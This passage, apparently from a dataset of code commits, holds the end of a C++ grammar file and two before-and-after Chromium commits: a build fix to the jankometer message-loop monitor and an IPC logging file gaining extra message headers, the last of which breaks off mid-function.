var_decls_g(true,derived_origin) \/\/ -constraints\n          > *statement_g(false,derived_origin) \/\/ -sampling\n          > lit('}');\n\n        using boost::spirit::qi::on_error;\n        using boost::spirit::qi::rethrow;\n        using namespace boost::spirit::qi::labels;\n\n        on_error<rethrow>(\n          program_r,\n          program_error_f(\n            _1, _2, _3, _4 ,\n            \"\",\n            boost::phoenix::ref(var_map_),\n            boost::phoenix::ref(error_msgs_)\n          )\n        ); \n    }\n\n  }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <limits>\n\n#include \"chrome\/browser\/jankometer.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/command_line.h\"\n#include \"base\/histogram.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/ref_counted.h\"\n#include \"base\/stats_counters.h\"\n#include \"base\/thread.h\"\n#include \"base\/time.h\"\n#include \"base\/watchdog.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\nusing base::TimeDelta;\nusing base::TimeTicks;\n\nnamespace {\n\n\/\/ The maximum threshold of delay of the message  before considering it a delay.\n\/\/ For a debug build, you may want to set IO delay around 500ms.\n\/\/ For a release build, setting it around 350ms is sensible.\n\/\/ Visit about:histograms to see what the distribution is on your system, with\n\/\/ your build. Be sure to do some work to get interesting stats.\n\/\/ The numbers below came from a warm start (you'll get about 5-10 alarms with\n\/\/ a cold start), and running the page-cycler for 5 rounds.\n#ifdef NDEBUG\nconst int kMaxUIMessageDelayMs = 350;\nconst int kMaxIOMessageDelayMs = 200;\n#else\nconst int kMaxUIMessageDelayMs = 500;\nconst int kMaxIOMessageDelayMs = 400;\n#endif\n\n\/\/ Maximum processing time (excluding queueing delay) for a message before\n\/\/ considering it delayed.\nconst int kMaxMessageProcessingMs = 100;\n\n\/\/ TODO(brettw) Consider making this a pref.\nconst bool kPlaySounds = false;\n\n\/\/------------------------------------------------------------------------------\n\/\/ Provide a special watchdog to make it easy to set the breakpoint on this\n\/\/ class only.\nclass JankWatchdog : public Watchdog {\n public:\n  JankWatchdog(const TimeDelta& duration,\n               const std::string& thread_watched_name,\n               bool enabled)\n      : Watchdog(duration, thread_watched_name, enabled),\n        thread_name_watched_(thread_watched_name),\n        alarm_count_(0) {\n  }\n\n  virtual ~JankWatchdog() {}\n\n  virtual void Alarm() {\n    \/\/ Put break point here if you want to stop threads and look at what caused\n    \/\/ the jankiness.\n    alarm_count_++;\n    Watchdog::Alarm();\n  }\n\n private:\n  std::string thread_name_watched_;\n  int alarm_count_;\n\n  DISALLOW_EVIL_CONSTRUCTORS(JankWatchdog);\n};\n\n\/\/------------------------------------------------------------------------------\nclass JankObserver : public base::RefCountedThreadSafe<JankObserver>,\n                     public MessageLoopForUI::Observer {\n public:\n  JankObserver(const char* thread_name,\n               const TimeDelta& excessive_duration,\n               bool watchdog_enable)\n      : MaxMessageDelay_(excessive_duration),\n        slow_processing_counter_(std::string(\"Chrome.SlowMsg\") + thread_name),\n        queueing_delay_counter_(std::string(\"Chrome.DelayMsg\") + thread_name),\n        process_times_((std::wstring(L\"Chrome.ProcMsgL \")\n                        + ASCIIToWide(thread_name)).c_str(), 1, 3600000, 50),\n        total_times_((std::wstring(L\"Chrome.TotalMsgL \")\n                      + ASCIIToWide(thread_name)).c_str(), 1, 3600000, 50),\n        total_time_watchdog_(excessive_duration, ASCIIToWide(thread_name),\n                             watchdog_enable) {\n    process_times_.SetFlags(kUmaTargetedHistogramFlag);\n    total_times_.SetFlags(kUmaTargetedHistogramFlag);\n  }\n\n  \/\/ Attaches the observer to the current thread's message loop. You can only\n  \/\/ attach to the current thread, so this function can be invoked on another\n  \/\/ thread to attach it.\n  void AttachToCurrentThread() {\n    \/\/ TODO(darin): support monitoring jankiness on non-UI threads!\n    if (MessageLoop::current()->type() == MessageLoop::TYPE_UI)\n      MessageLoopForUI::current()->AddObserver(this);\n  }\n\n  \/\/ Detaches the observer to the current thread's message loop.\n  void DetachFromCurrentThread() {\n    if (MessageLoop::current()->type() == MessageLoop::TYPE_UI)\n      MessageLoopForUI::current()->RemoveObserver(this);\n  }\n\n  void WillProcessMessage(const MSG& msg) {\n    begin_process_message_ = TimeTicks::Now();\n\n    \/\/ GetMessageTime returns a LONG (signed 32-bit) and GetTickCount returns\n    \/\/ a DWORD (unsigned 32-bit). They both wrap around when the time is longer\n    \/\/ than they can hold. I'm not sure if GetMessageTime wraps around to 0,\n    \/\/ or if the original time comes from GetTickCount, it might wrap around\n    \/\/ to -1.\n    \/\/\n    \/\/ Therefore, I cast to DWORD so if it wraps to -1 we will correct it. If\n    \/\/ it doesn't, then our time delta will be negative if a message happens\n    \/\/ to straddle the wraparound point, it will still be OK.\n    DWORD cur_message_issue_time = static_cast<DWORD>(msg.time);\n    DWORD cur_time = GetTickCount();\n    queueing_time_ = TimeDelta::FromMilliseconds(cur_time\n                                                 - cur_message_issue_time);\n    \/\/ Simulate arming when the message entered the queue.\n    total_time_watchdog_.ArmSomeTimeDeltaAgo(queueing_time_);\n    if (queueing_time_ > MaxMessageDelay_) {\n      \/\/ Message is too delayed.\n      queueing_delay_counter_.Increment();\n      if (kPlaySounds)\n        MessageBeep(MB_ICONASTERISK);\n    }\n  }\n\n  void DidProcessMessage(const MSG& msg) {\n    total_time_watchdog_.Disarm();\n    TimeTicks now = TimeTicks::Now();\n    if (begin_process_message_ != TimeTicks()) {\n      TimeDelta processing_time = now - begin_process_message_;\n      process_times_.AddTime(processing_time);\n      total_times_.AddTime(queueing_time_ + processing_time);\n    }\n    if (now - begin_process_message_ >\n        TimeDelta::FromMilliseconds(kMaxMessageProcessingMs)) {\n      \/\/ Message took too long to process.\n      slow_processing_counter_.Increment();\n      if (kPlaySounds)\n        MessageBeep(MB_ICONHAND);\n    }\n  }\n\n private:\n  const TimeDelta MaxMessageDelay_;\n  TimeTicks begin_process_message_;\n  TimeDelta queueing_time_;\n\n  \/\/ Counters for the two types of jank we measure.\n  StatsCounter slow_processing_counter_;  \/\/ Messages with long processing time.\n  StatsCounter queueing_delay_counter_;   \/\/ Messages with long queueing delay.\n  Histogram process_times_;           \/\/ Time spent processing task.\n  Histogram total_times_;             \/\/ Total of queueing plus processing time.\n  JankWatchdog total_time_watchdog_;  \/\/ Watching for excessive total_time.\n\n  DISALLOW_EVIL_CONSTRUCTORS(JankObserver);\n};\n\n\/\/ These objects are created by InstallJankometer and leaked.\nJankObserver* ui_observer = NULL;\nJankObserver* io_observer = NULL;\n\n}  \/\/ namespace\n\nvoid InstallJankometer(const CommandLine &parsed_command_line) {\n  if (ui_observer || io_observer) {\n    NOTREACHED() << \"Initializing jank-o-meter twice\";\n    return;\n  }\n\n  bool ui_watchdog_enabled = false;\n  bool io_watchdog_enabled = false;\n  if (parsed_command_line.HasSwitch(switches::kEnableWatchdog)) {\n    std::wstring list =\n        parsed_command_line.GetSwitchValue(switches::kEnableWatchdog);\n    if (list.npos != list.find(L\"ui\"))\n      ui_watchdog_enabled = true;\n    if (list.npos != list.find(L\"io\"))\n      io_watchdog_enabled = true;\n  }\n\n  \/\/ Install on the UI thread.\n  ui_observer = new JankObserver(\n      \"UI\",\n      TimeDelta::FromMilliseconds(kMaxUIMessageDelayMs),\n      ui_watchdog_enabled);\n  ui_observer->AddRef();\n  ui_observer->AttachToCurrentThread();\n\n  \/\/ Now install on the I\/O thread. Hiccups on that thread will block\n  \/\/ interaction with web pages. We must proxy to that thread before we can\n  \/\/ add our observer.\n  io_observer = new JankObserver(\n      \"IO\",\n      TimeDelta::FromMilliseconds(kMaxIOMessageDelayMs),\n      io_watchdog_enabled);\n  io_observer->AddRef();\n  base::Thread* io_thread = g_browser_process->io_thread();\n  if (io_thread) {\n    io_thread->message_loop()->PostTask(FROM_HERE,\n        NewRunnableMethod(io_observer,\n            &JankObserver::AttachToCurrentThread));\n  }\n}\n\nvoid UninstallJankometer() {\n  if (ui_observer) {\n    ui_observer->DetachFromCurrentThread();\n    ui_observer->Release();\n    ui_observer = NULL;\n  }\n  if (io_observer) {\n    \/\/ IO thread can't be running when we remove observers.\n    DCHECK((!g_browser_process) || !(g_browser_process->io_thread()));\n    io_observer->Release();\n    io_observer = NULL;\n  }\n}\n\n<commit_msg>Build fix.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <limits>\n\n#include \"chrome\/browser\/jankometer.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/command_line.h\"\n#include \"base\/histogram.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/ref_counted.h\"\n#include \"base\/stats_counters.h\"\n#include \"base\/string_util.h\"\n#include \"base\/thread.h\"\n#include \"base\/time.h\"\n#include \"base\/watchdog.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\nusing base::TimeDelta;\nusing base::TimeTicks;\n\nnamespace {\n\n\/\/ The maximum threshold of delay of the message  before considering it a delay.\n\/\/ For a debug build, you may want to set IO delay around 500ms.\n\/\/ For a release build, setting it around 350ms is sensible.\n\/\/ Visit about:histograms to see what the distribution is on your system, with\n\/\/ your build. Be sure to do some work to get interesting stats.\n\/\/ The numbers below came from a warm start (you'll get about 5-10 alarms with\n\/\/ a cold start), and running the page-cycler for 5 rounds.\n#ifdef NDEBUG\nconst int kMaxUIMessageDelayMs = 350;\nconst int kMaxIOMessageDelayMs = 200;\n#else\nconst int kMaxUIMessageDelayMs = 500;\nconst int kMaxIOMessageDelayMs = 400;\n#endif\n\n\/\/ Maximum processing time (excluding queueing delay) for a message before\n\/\/ considering it delayed.\nconst int kMaxMessageProcessingMs = 100;\n\n\/\/ TODO(brettw) Consider making this a pref.\nconst bool kPlaySounds = false;\n\n\/\/------------------------------------------------------------------------------\n\/\/ Provide a special watchdog to make it easy to set the breakpoint on this\n\/\/ class only.\nclass JankWatchdog : public Watchdog {\n public:\n  JankWatchdog(const TimeDelta& duration,\n               const std::string& thread_watched_name,\n               bool enabled)\n      : Watchdog(duration, ASCIIToWide(thread_watched_name), enabled),\n        thread_name_watched_(thread_watched_name),\n        alarm_count_(0) {\n  }\n\n  virtual ~JankWatchdog() {}\n\n  virtual void Alarm() {\n    \/\/ Put break point here if you want to stop threads and look at what caused\n    \/\/ the jankiness.\n    alarm_count_++;\n    Watchdog::Alarm();\n  }\n\n private:\n  std::string thread_name_watched_;\n  int alarm_count_;\n\n  DISALLOW_EVIL_CONSTRUCTORS(JankWatchdog);\n};\n\n\/\/------------------------------------------------------------------------------\nclass JankObserver : public base::RefCountedThreadSafe<JankObserver>,\n                     public MessageLoopForUI::Observer {\n public:\n  JankObserver(const char* thread_name,\n               const TimeDelta& excessive_duration,\n               bool watchdog_enable)\n      : MaxMessageDelay_(excessive_duration),\n        slow_processing_counter_(std::string(\"Chrome.SlowMsg\") + thread_name),\n        queueing_delay_counter_(std::string(\"Chrome.DelayMsg\") + thread_name),\n        process_times_((std::wstring(L\"Chrome.ProcMsgL \")\n                        + ASCIIToWide(thread_name)).c_str(), 1, 3600000, 50),\n        total_times_((std::wstring(L\"Chrome.TotalMsgL \")\n                      + ASCIIToWide(thread_name)).c_str(), 1, 3600000, 50),\n        total_time_watchdog_(excessive_duration, ASCIIToWide(thread_name),\n                             watchdog_enable) {\n    process_times_.SetFlags(kUmaTargetedHistogramFlag);\n    total_times_.SetFlags(kUmaTargetedHistogramFlag);\n  }\n\n  \/\/ Attaches the observer to the current thread's message loop. You can only\n  \/\/ attach to the current thread, so this function can be invoked on another\n  \/\/ thread to attach it.\n  void AttachToCurrentThread() {\n    \/\/ TODO(darin): support monitoring jankiness on non-UI threads!\n    if (MessageLoop::current()->type() == MessageLoop::TYPE_UI)\n      MessageLoopForUI::current()->AddObserver(this);\n  }\n\n  \/\/ Detaches the observer to the current thread's message loop.\n  void DetachFromCurrentThread() {\n    if (MessageLoop::current()->type() == MessageLoop::TYPE_UI)\n      MessageLoopForUI::current()->RemoveObserver(this);\n  }\n\n  void WillProcessMessage(const MSG& msg) {\n    begin_process_message_ = TimeTicks::Now();\n\n    \/\/ GetMessageTime returns a LONG (signed 32-bit) and GetTickCount returns\n    \/\/ a DWORD (unsigned 32-bit). They both wrap around when the time is longer\n    \/\/ than they can hold. I'm not sure if GetMessageTime wraps around to 0,\n    \/\/ or if the original time comes from GetTickCount, it might wrap around\n    \/\/ to -1.\n    \/\/\n    \/\/ Therefore, I cast to DWORD so if it wraps to -1 we will correct it. If\n    \/\/ it doesn't, then our time delta will be negative if a message happens\n    \/\/ to straddle the wraparound point, it will still be OK.\n    DWORD cur_message_issue_time = static_cast<DWORD>(msg.time);\n    DWORD cur_time = GetTickCount();\n    queueing_time_ = TimeDelta::FromMilliseconds(cur_time\n                                                 - cur_message_issue_time);\n    \/\/ Simulate arming when the message entered the queue.\n    total_time_watchdog_.ArmSomeTimeDeltaAgo(queueing_time_);\n    if (queueing_time_ > MaxMessageDelay_) {\n      \/\/ Message is too delayed.\n      queueing_delay_counter_.Increment();\n      if (kPlaySounds)\n        MessageBeep(MB_ICONASTERISK);\n    }\n  }\n\n  void DidProcessMessage(const MSG& msg) {\n    total_time_watchdog_.Disarm();\n    TimeTicks now = TimeTicks::Now();\n    if (begin_process_message_ != TimeTicks()) {\n      TimeDelta processing_time = now - begin_process_message_;\n      process_times_.AddTime(processing_time);\n      total_times_.AddTime(queueing_time_ + processing_time);\n    }\n    if (now - begin_process_message_ >\n        TimeDelta::FromMilliseconds(kMaxMessageProcessingMs)) {\n      \/\/ Message took too long to process.\n      slow_processing_counter_.Increment();\n      if (kPlaySounds)\n        MessageBeep(MB_ICONHAND);\n    }\n  }\n\n private:\n  const TimeDelta MaxMessageDelay_;\n  TimeTicks begin_process_message_;\n  TimeDelta queueing_time_;\n\n  \/\/ Counters for the two types of jank we measure.\n  StatsCounter slow_processing_counter_;  \/\/ Messages with long processing time.\n  StatsCounter queueing_delay_counter_;   \/\/ Messages with long queueing delay.\n  Histogram process_times_;           \/\/ Time spent processing task.\n  Histogram total_times_;             \/\/ Total of queueing plus processing time.\n  JankWatchdog total_time_watchdog_;  \/\/ Watching for excessive total_time.\n\n  DISALLOW_EVIL_CONSTRUCTORS(JankObserver);\n};\n\n\/\/ These objects are created by InstallJankometer and leaked.\nJankObserver* ui_observer = NULL;\nJankObserver* io_observer = NULL;\n\n}  \/\/ namespace\n\nvoid InstallJankometer(const CommandLine &parsed_command_line) {\n  if (ui_observer || io_observer) {\n    NOTREACHED() << \"Initializing jank-o-meter twice\";\n    return;\n  }\n\n  bool ui_watchdog_enabled = false;\n  bool io_watchdog_enabled = false;\n  if (parsed_command_line.HasSwitch(switches::kEnableWatchdog)) {\n    std::wstring list =\n        parsed_command_line.GetSwitchValue(switches::kEnableWatchdog);\n    if (list.npos != list.find(L\"ui\"))\n      ui_watchdog_enabled = true;\n    if (list.npos != list.find(L\"io\"))\n      io_watchdog_enabled = true;\n  }\n\n  \/\/ Install on the UI thread.\n  ui_observer = new JankObserver(\n      \"UI\",\n      TimeDelta::FromMilliseconds(kMaxUIMessageDelayMs),\n      ui_watchdog_enabled);\n  ui_observer->AddRef();\n  ui_observer->AttachToCurrentThread();\n\n  \/\/ Now install on the I\/O thread. Hiccups on that thread will block\n  \/\/ interaction with web pages. We must proxy to that thread before we can\n  \/\/ add our observer.\n  io_observer = new JankObserver(\n      \"IO\",\n      TimeDelta::FromMilliseconds(kMaxIOMessageDelayMs),\n      io_watchdog_enabled);\n  io_observer->AddRef();\n  base::Thread* io_thread = g_browser_process->io_thread();\n  if (io_thread) {\n    io_thread->message_loop()->PostTask(FROM_HERE,\n        NewRunnableMethod(io_observer,\n            &JankObserver::AttachToCurrentThread));\n  }\n}\n\nvoid UninstallJankometer() {\n  if (ui_observer) {\n    ui_observer->DetachFromCurrentThread();\n    ui_observer->Release();\n    ui_observer = NULL;\n  }\n  if (io_observer) {\n    \/\/ IO thread can't be running when we remove observers.\n    DCHECK((!g_browser_process) || !(g_browser_process->io_thread()));\n    io_observer->Release();\n    io_observer = NULL;\n  }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/ipc_logging.h\"\n\n#if defined(OS_POSIX)\n#ifdef IPC_MESSAGE_LOG_ENABLED\n\/\/ This will cause render_messages.h etc to define ViewMsgLog and friends.\n#define IPC_MESSAGE_MACROS_LOG_ENABLED\n#endif\n#endif\n\n#include \"base\/command_line.h\"\n#include \"base\/logging.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/string_util.h\"\n#include \"base\/thread.h\"\n#include \"base\/time.h\"\n#include \"base\/waitable_event.h\"\n#include \"base\/waitable_event_watcher.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/ipc_sync_message.h\"\n#include \"chrome\/common\/ipc_message_utils.h\"\n\n\/\/ This include list should contain all _messages.h header files so that they\n\/\/ can get *MsgLog function etc. This makes ipc logs much more informative.\n#include \"chrome\/common\/render_messages.h\"\n#include \"chrome\/test\/automation\/automation_messages.h\"\n\n#if defined(OS_WIN)\n\/\/ Pulling this file in Mac\/Linux causes a lot of binaries to need to bring in\n\/\/ WebKit and all the dependencies, which results in a very large number of\n\/\/ linker errors.\n#include \"chrome\/common\/plugin_messages.h\"\n#endif\n\n#if defined(OS_POSIX)\n#include \"base\/string_util.h\"\n#include <unistd.h>\n#endif\n\n#ifdef IPC_MESSAGE_LOG_ENABLED\n\nusing base::Time;\n\n\/\/ IPC::Logging is allocated as a singleton, so we don't need any kind of\n\/\/ special retention program.\ntemplate <>\nstruct RunnableMethodTraits<IPC::Logging> {\n  static void RetainCallee(IPC::Logging*) {}\n  static void ReleaseCallee(IPC::Logging*) {}\n};\n\nnamespace IPC {\n\nconst wchar_t kLoggingEventName[] = L\"ChromeIPCLog.%d\";\nconst int kLogSendDelayMs = 100;\n\n\/\/ We use a pointer to the function table to avoid any linker dependencies on\n\/\/ all the traits used as IPC message parameters.\nLogging::LogFunction *Logging::log_function_mapping_;\n\nLogging::Logging()\n    : logging_event_on_(NULL),\n      logging_event_off_(NULL),\n      enabled_(false),\n      queue_invoke_later_pending_(false),\n      sender_(NULL),\n      main_thread_(MessageLoop::current()),\n      consumer_(NULL) {\n  \/\/ Create an event for this browser instance that's set when logging is\n  \/\/ enabled, so child processes can know when logging is enabled.\n\n#if defined(OS_WIN)\n  \/\/ On Windows we have a couple of named events which switch logging on and\n  \/\/ off.\n  int browser_pid;\n  const CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n  std::wstring process_type =\n    parsed_command_line.GetSwitchValue(switches::kProcessType);\n  if (process_type.empty()) {\n    browser_pid = GetCurrentProcessId();\n  } else {\n    std::wstring channel_name =\n        parsed_command_line.GetSwitchValue(switches::kProcessChannelID);\n\n    browser_pid = _wtoi(channel_name.c_str());\n    DCHECK(browser_pid != 0);\n  }\n\n  std::wstring event_name = GetEventName(browser_pid, true);\n  logging_event_on_.reset(new base::WaitableEvent(\n      CreateEvent(NULL, TRUE, FALSE, event_name.c_str())));\n\n  event_name = GetEventName(browser_pid, false);\n  logging_event_off_.reset(new base::WaitableEvent(\n      CreateEvent(NULL, TRUE, FALSE, event_name.c_str())));\n\n  RegisterWaitForEvent(true);\n#elif defined(OS_POSIX)\n  if (getenv(\"CHROME_IPC_LOGGING\"))\n    enabled_ = true;\n  SetLoggerFunctions(g_log_function_mapping);\n#endif\n\n  MessageLoop::current()->AddDestructionObserver(this);\n}\n\nLogging::~Logging() {\n}\n\nLogging* Logging::current() {\n  return Singleton<Logging>::get();\n}\n\nvoid Logging::RegisterWaitForEvent(bool enabled) {\n  watcher_.StopWatching();\n  watcher_.StartWatching(\n      enabled ? logging_event_on_.get() : logging_event_off_.get(), this);\n}\n\nvoid Logging::OnWaitableEventSignaled(base::WaitableEvent* event) {\n  enabled_ = event == logging_event_on_.get();\n  RegisterWaitForEvent(!enabled_);\n}\n\nvoid Logging::WillDestroyCurrentMessageLoop() {\n  watcher_.StopWatching();\n}\n\nvoid Logging::SetLoggerFunctions(LogFunction *functions) {\n  log_function_mapping_ = functions;\n}\n\n#if defined(OS_WIN)\nstd::wstring Logging::GetEventName(bool enabled) {\n  return current()->GetEventName(GetCurrentProcessId(), enabled);\n}\n#endif\n\nstd::wstring Logging::GetEventName(int browser_pid, bool enabled) {\n  std::wstring result = StringPrintf(kLoggingEventName, browser_pid);\n  result += enabled ? L\"on\" : L\"off\";\n  return result;\n}\n\nvoid Logging::SetConsumer(Consumer* consumer) {\n  consumer_ = consumer;\n}\n\nvoid Logging::Enable() {\n  logging_event_off_->Reset();\n  logging_event_on_->Signal();\n}\n\nvoid Logging::Disable() {\n  logging_event_on_->Reset();\n  logging_event_off_->Signal();\n}\n\nvoid Logging::OnSendLogs() {\n  queue_invoke_later_pending_ = false;\n  if (!sender_)\n    return;\n\n  Message* msg = new Message(\n      MSG_ROUTING_CONTROL, IPC_LOGGING_ID, Message::PRIORITY_NORMAL);\n  WriteParam(msg, queued_logs_);\n  queued_logs_.clear();\n  sender_->Send(msg);\n}\n\nvoid Logging::SetIPCSender(IPC::Message::Sender* sender) {\n  sender_ = sender;\n}\n\nvoid Logging::OnReceivedLoggingMessage(const Message& message) {\n  std::vector<LogData> data;\n  void* iter = NULL;\n  if (!ReadParam(&message, &iter, &data))\n    return;\n\n  for (size_t i = 0; i < data.size(); ++i) {\n    Log(data[i]);\n  }\n}\n\nvoid Logging::OnSendMessage(Message* message, const std::string& channel_id) {\n  if (!Enabled())\n    return;\n\n  if (message->is_reply()) {\n    LogData* data = message->sync_log_data();\n    if (!data)\n      return;\n\n    \/\/ This is actually the delayed reply to a sync message.  Create a string\n    \/\/ of the output parameters, add it to the LogData that was earlier stashed\n    \/\/ with the reply, and log the result.\n    data->channel = channel_id;\n    GenerateLogData(\"\", *message, data);\n    Log(*data);\n    delete data;\n    message->set_sync_log_data(NULL);\n  } else {\n    \/\/ If the time has already been set (i.e. by ChannelProxy), keep that time\n    \/\/ instead as it's more accurate.\n    if (!message->sent_time())\n      message->set_sent_time(Time::Now().ToInternalValue());\n  }\n}\n\nvoid Logging::OnPreDispatchMessage(const Message& message) {\n  message.set_received_time(Time::Now().ToInternalValue());\n}\n\nvoid Logging::OnPostDispatchMessage(const Message& message,\n                                    const std::string& channel_id) {\n  if (!Enabled() ||\n#if defined(OS_WIN)\n      !message.sent_time() ||\n#endif\n      message.dont_log())\n    return;\n\n  LogData data;\n  GenerateLogData(channel_id, message, &data);\n\n  if (MessageLoop::current() == main_thread_) {\n    Log(data);\n  } else {\n    main_thread_->PostTask(FROM_HERE, NewRunnableMethod(\n        this, &Logging::Log, data));\n  }\n}\n\nvoid Logging::GetMessageText(uint16 type, std::wstring* name,\n                             const Message* message,\n                             std::wstring* params) {\n  if (!log_function_mapping_)\n    return;\n\n  int message_class = type >> 12;\n  if (log_function_mapping_[message_class] != NULL) {\n    log_function_mapping_[message_class](type, name, message, params);\n  } else {\n    DLOG(INFO) << \"No logger function associated with message class \" <<\n        message_class;\n  }\n}\n\nvoid Logging::Log(const LogData& data) {\n#if defined(OS_WIN)\n  if (consumer_) {\n    \/\/ We're in the browser process.\n    consumer_->Log(data);\n  } else {\n    \/\/ We're in the renderer or plugin processes.\n    if (sender_) {\n      queued_logs_.push_back(data);\n      if (!queue_invoke_later_pending_) {\n        queue_invoke_later_pending_ = true;\n        MessageLoop::current()->PostDelayedTask(FROM_HERE, NewRunnableMethod(\n            this, &Logging::OnSendLogs), kLogSendDelayMs);\n      }\n    }\n  }\n#elif defined(OS_POSIX)\n  \/\/ On POSIX, for now, we just dump the log to stderr\n  fprintf(stderr, \"ipc %s %d %d %s %s %s\\n\",\n          data.channel.c_str(),\n          data.routing_id,\n          data.type,\n          WideToUTF8(data.flags).c_str(),\n          WideToUTF8(data.message_name).c_str(),\n          WideToUTF8(data.params).c_str());\n#endif\n}\n\nvoid GenerateLogData(const std::string& channel, const Message& message,\n                     LogData* data) {\n  if (message.is_reply()) {\n    \/\/ \"data\" should already be filled in.\n    std::wstring params;\n    Logging::GetMessageText(data->type, NULL, &message, &params);\n\n    if (!data->params.empty() && !params.empty())\n      data->params += L\", \";\n\n    data->flags += L\" DR\";\n\n    data->params += params;\n  } else {\n    std::wstring flags;\n    if (message.is_sync())\n      flags = L\"S\";\n\n    if (message.is_reply())\n      flags += L\"R\";\n\n    if (message.is_reply_error())\n      flags += L\"E\";\n\n    std::wstring params, message_name;\n    Logging::GetMessageText(message.type(), &message_name, &message, &params);\n\n    data->channel = channel;\n    data->routing_id = message.routing_id();\n    data->type = message.type();\n    data->flags = flags;\n    data->sent = message.sent_time();\n    data->receive = message.received_time();\n    data->dispatch = Time::Now().ToInternalValue();\n    data->params = params;\n    data->message_name = message_name;\n  }\n}\n\n}\n\n#endif  \/\/ IPC_MESSAGE_LOG_ENABLED\n<commit_msg>ipc: pull in more message headers into ipc_logging<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/ipc_logging.h\"\n\n#if defined(OS_POSIX)\n#ifdef IPC_MESSAGE_LOG_ENABLED\n\/\/ This will cause render_messages.h etc to define ViewMsgLog and friends.\n#define IPC_MESSAGE_MACROS_LOG_ENABLED\n#endif\n#endif\n\n#include \"base\/command_line.h\"\n#include \"base\/logging.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/string_util.h\"\n#include \"base\/thread.h\"\n#include \"base\/time.h\"\n#include \"base\/waitable_event.h\"\n#include \"base\/waitable_event_watcher.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/ipc_sync_message.h\"\n#include \"chrome\/common\/ipc_message_utils.h\"\n\n\/\/ This include list should contain all _messages.h header files so that they\n\/\/ can get *MsgLog function etc. This makes ipc logs much more informative.\n#include \"chrome\/common\/plugin_messages.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"chrome\/common\/worker_messages.h\"\n#include \"chrome\/test\/automation\/automation_messages.h\"\n\n#if defined(OS_POSIX)\n#include \"base\/string_util.h\"\n#include <unistd.h>\n#endif\n\n#ifdef IPC_MESSAGE_LOG_ENABLED\n\nusing base::Time;\n\n\/\/ IPC::Logging is allocated as a singleton, so we don't need any kind of\n\/\/ special retention program.\ntemplate <>\nstruct RunnableMethodTraits<IPC::Logging> {\n  static void RetainCallee(IPC::Logging*) {}\n  static void ReleaseCallee(IPC::Logging*) {}\n};\n\nnamespace IPC {\n\nconst wchar_t kLoggingEventName[] = L\"ChromeIPCLog.%d\";\nconst int kLogSendDelayMs = 100;\n\n\/\/ We use a pointer to the function table to avoid any linker dependencies on\n\/\/ all the traits used as IPC message parameters.\nLogging::LogFunction *Logging::log_function_mapping_;\n\nLogging::Logging()\n    : logging_event_on_(NULL),\n      logging_event_off_(NULL),\n      enabled_(false),\n      queue_invoke_later_pending_(false),\n      sender_(NULL),\n      main_thread_(MessageLoop::current()),\n      consumer_(NULL) {\n  \/\/ Create an event for this browser instance that's set when logging is\n  \/\/ enabled, so child processes can know when logging is enabled.\n\n#if defined(OS_WIN)\n  \/\/ On Windows we have a couple of named events which switch logging on and\n  \/\/ off.\n  int browser_pid;\n  const CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n  std::wstring process_type =\n    parsed_command_line.GetSwitchValue(switches::kProcessType);\n  if (process_type.empty()) {\n    browser_pid = GetCurrentProcessId();\n  } else {\n    std::wstring channel_name =\n        parsed_command_line.GetSwitchValue(switches::kProcessChannelID);\n\n    browser_pid = _wtoi(channel_name.c_str());\n    DCHECK(browser_pid != 0);\n  }\n\n  std::wstring event_name = GetEventName(browser_pid, true);\n  logging_event_on_.reset(new base::WaitableEvent(\n      CreateEvent(NULL, TRUE, FALSE, event_name.c_str())));\n\n  event_name = GetEventName(browser_pid, false);\n  logging_event_off_.reset(new base::WaitableEvent(\n      CreateEvent(NULL, TRUE, FALSE, event_name.c_str())));\n\n  RegisterWaitForEvent(true);\n#elif defined(OS_POSIX)\n  if (getenv(\"CHROME_IPC_LOGGING\"))\n    enabled_ = true;\n  SetLoggerFunctions(g_log_function_mapping);\n#endif\n\n  MessageLoop::current()->AddDestructionObserver(this);\n}\n\nLogging::~Logging() {\n}\n\nLogging* Logging::current() {\n  return Singleton<Logging>::get();\n}\n\nvoid Logging::RegisterWaitForEvent(bool enabled) {\n  watcher_.StopWatching();\n  watcher_.StartWatching(\n      enabled ? logging_event_on_.get() : logging_event_off_.get(), this);\n}\n\nvoid Logging::OnWaitableEventSignaled(base::WaitableEvent* event) {\n  enabled_ = event == logging_event_on_.get();\n  RegisterWaitForEvent(!enabled_);\n}\n\nvoid Logging::WillDestroyCurrentMessageLoop() {\n  watcher_.StopWatching();\n}\n\nvoid Logging::SetLoggerFunctions(LogFunction *functions) {\n  log_function_mapping_ = functions;\n}\n\n#if defined(OS_WIN)\nstd::wstring Logging::GetEventName(bool enabled) {\n  return current()->GetEventName(GetCurrentProcessId(), enabled);\n}\n#endif\n\nstd::wstring Logging::GetEventName(int browser_pid, bool enabled) {\n  std::wstring result = StringPrintf(kLoggingEventName, browser_pid);\n  result += enabled ? L\"on\" : L\"off\";\n  return result;\n}\n\nvoid Logging::SetConsumer(Consumer* consumer) {\n  consumer_ = 